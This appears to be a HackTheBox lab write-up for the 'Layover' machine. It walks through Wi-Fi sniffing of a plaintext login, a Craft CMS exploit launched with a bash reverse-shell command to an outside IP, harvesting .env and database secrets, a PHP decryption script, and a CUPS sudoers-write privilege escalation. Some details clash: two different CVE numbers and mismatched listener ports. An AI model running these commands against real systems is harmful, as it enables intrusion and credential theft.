Layover

Machine Info

Tools Used

Summary

Layover is an airport-themed machine simulating a corporate contractor environment, where initial access is gained via RDP using provided contractor credentials. Lateral movement involves passively sniffing unencrypted Wi-Fi traffic on an internal captive-portal network using a pre-configured monitor-mode adapter, capturing plaintext credentials for a frequent-flyer portal user. Those credentials are used to authenticate against a vulnerable Craft CMS instance (CVE-2026-72778), where a condition.config JSON sanitization bypass yields RCE as www-data. The user flag is obtained by extracting a Craft security key from .env, querying a custom database table for an encrypted mail relay password, and decrypting it via Yii's native Security component to pivot to the aporter user.

Reconnaissance

Initial Scan (NMAP)

As is common in real life pentests, we start the Layover box with credentials for the following account contractor / Contractor2026!

Initial reconnaissance of the IP provides the following. The machine is running a ms-wbt-server.

…/HTB/Layover ✗ nmap -sC -sV -A layover.htb -oN ./recon/scan_aggressive.txt
Starting Nmap 7.991 ( https://nmap.org ) at 2026-10-03 04:07 +0530
Nmap scan report for layover.htb (10.129.24.125)
Host is up (0.41s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
3389/tcp open  ms-wbt-server Microsoft Terminal Service
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.64 seconds

Open Ports:

Vulnerability Identification

Identified Technologies

CVEs / Vulnerabilities Identified

Initial Access (RDP)

Initially we access the RDP using the credentials provided by hackthebox for the machine. contractor Contractor2026!

Using the provided credentials, we land on an RDP running linux and xfce enviroment. Initial enumeration of the system reveals two wifi adapters with monitor support along with a public wifi signal to which we can connect.

We connect to the wifi signal using wlan2 and setup wlan3 for monitoring to sniff any data.

sudo ip link set wlan3 down
sudo iw dev wlan3 set type monitor
sudo ip link set wlan3 up
sudo iw dev wlan3 set channel 6 

(switched to channel 6 because wlan2 was on channel 6)

sudo tshark -i wlan3 -w /tmp/wifi_capture.pcap

With wlan3 on channel 6, tshark started picking up live 802.11 traffic. Almost immediately two interesting packets appeared in the live output:

259  10.13.37.132 → 10.13.37.10  HTTP POST /miles/login.php (application/x-www-form-urlencoded)
770  10.13.37.132 → 10.13.37.10  HTTP POST /miles/login.php (application/x-www-form-urlencoded)

Post-Exploitation

System Enumeration

The same login POST being repeated periodically — a simulated user (or automated script) repeatedly submitting credentials to the miles portal over unencrypted HTTP, making it trivially sniffable in plaintext.

tshark -r /tmp/wifi_capture.pcap -Y "http.request.method == POST" -T fields -e http.file_data

Credential Discovery

This returned the POST body as raw hex-encoded ASCII:

757365726e616d653d6a656e6e792670617373776f72643d466c316768744465636b3230323621

which encodes to standard url-encoded form body:

username=jenny&password=Fl1ghtDeck2026!

Credentials Found:

Discovering Craft CMS via Cookies

After logging into the miles portal as jenny (http://10.13.37.10/miles/), the Craft CMS discovery required no directory brute-forcing at all. Simply opening browser DevTools and inspecting the cookies set after jenny's successful login revealed two distinctive cookie names:

CRAFT_CSRF_TOKEN
CraftSessionId

This single observation immediately fingerprinted the underlying CMS without running a single gobuster or ffuf scan — the application was essentially announcing itself through its own cookie naming conventions.

Attempting Admin Panel Access

With jenny's credentials (jenny / Fl1ghtDeck2026!) confirmed working on the front-end miles portal, the natural next step was attempting to log into the Craft CMS control panel at ``portal.international.htb/admin``, which worked and revealed the CraftCMS service version 5.9.8 along with other services information such as MariaDB running on the machine.

Initial Foothold (CVE-2026-44011)

A public PoC exploit script (exploit.py) automated the exploitation using jenny's credentials directly which gave us initial foothold to the server's terminal:

TERMINAL 1>

python3 exploit.py --base-url http://portal.international.htb -u jenny -p Fl1ghtDeck2026! -c 'bash -c "bash -i >& /dev/tcp/10.13.37.182/4444 0>&1"'

TERMINAL 2

nc -nvlp 44441

Credits for script: ``https://github.com/4xura/CVE-2026-44011-craftcms-auth-rce``

Lateral Movement

Locating the Craft CMS Install

While enumerating CraftCMS admin portal, we discovered a mariaDB service running on the server, after performing initial enum and recon.

Since we landed as www-data (the web server user), the most immediately useful thing to enumerate was the application itself — specifically finding where Craft's project root sat on disk, since that's where sensitive config files like .env live:

find / -name ".env" 2>/dev/null

cat /var/www/portal/.env
# General settings
CRAFT_SECURITY_KEY=IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr
CRAFT_DEV_MODE=false
CRAFT_ALLOW_ADMIN_CHANGES=false
CRAFT_DISALLOW_ROBOTS=true

CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craft
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftDB_pw_2026
CRAFT_DB_TABLE_PREFIX=

Database Enumeration

With the DB credentials in hand, querying MariaDB directly:

bash

mysql -u craftuser -p'CraftDB_pw_2026' -h 127.0.0.1 craft -e "SHOW TABLES;"

---SNIP---
htbairways_setings;
---SNIP---

mysql -u craftuser -p'CraftDB_pw_2026' -h 127.0.0.1 craft -e "SELECT * FROM htbairways_settings;"

id	name	value	dateCreated	dateUpdated
1	mailRelayPassword	u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w=

Decrypting the Stored Secret

Since the blob was encrypted using Craft's own Security::encryptByKey() method (tied to CRAFT_SECURITY_KEY), standard command-line decryption tools wouldn't work. The solution was writing a minimal PHP script that used Yii's underlying Security component directly with the extracted key — bypassing Craft's full bootstrap entirely to avoid env-loading issues:

<?php
require '/var/www/portal/vendor/autoload.php';

$key = 'IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr';
$encrypted = base64_decode('u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w=');

$security = new \yii\base\Security();
$decrypted = $security->decryptByKey($encrypted, $key);
echo $decrypted . "\n";

This gave the decoding in stdout as plaintext which was later used on one of the users that we found on the box aporter

php /tmp/decrypt.php

Skyp0rt_Relay!26

User Flag

switching user to aporter gives us the user flag.

cat ~/user.txt

---CENSORED---

Privilege Escalation

Enumeration

Since the environment was isolated with no access to automated tools like linpeas, manual enumeration was necessary. Querying installed packages directly via dpkg:

dpkg -l | grep cups

This revealed CUPS (Common Unix Printing System) was installed on the box — not something you'd immediately expect on a web/portal server, making it stand out as an interesting attack surface. Checking the exact version:

cups-config --version

Which returned 2.4.16 — a version with a known critical local privilege escalation vulnerability.

Vulnerability: CVE-2026-34990

Local PrivEsc via arbitrary file write as root

Using a publically available exploit for this vulnerability, we were able to elevate pivot to the root user.

python3 exploit.py

[*] user: <local-user>
[*] target: /etc/sudoers.d/<local-user>-pwn
[+] Local token: <LOCAL_TOKEN>
[*] attempt 1: <printer-name>
[+] ROOT via sudoers
uid=0(root) gid=0(root) groups=0(root)
[*] next: sudo -n bash

sudo -n bash

Credits for script: https://github.com/Noorkhalel/CVE-2026-34990-CUPS-LPE-PoC

Result:

whoami
# root

Root Flag

---CENSORED---

Trophy

https://labs.hackthebox.com/achievement/machine/1574945/984

Completed as part of HackTheBox practice in a legal, controlled environment.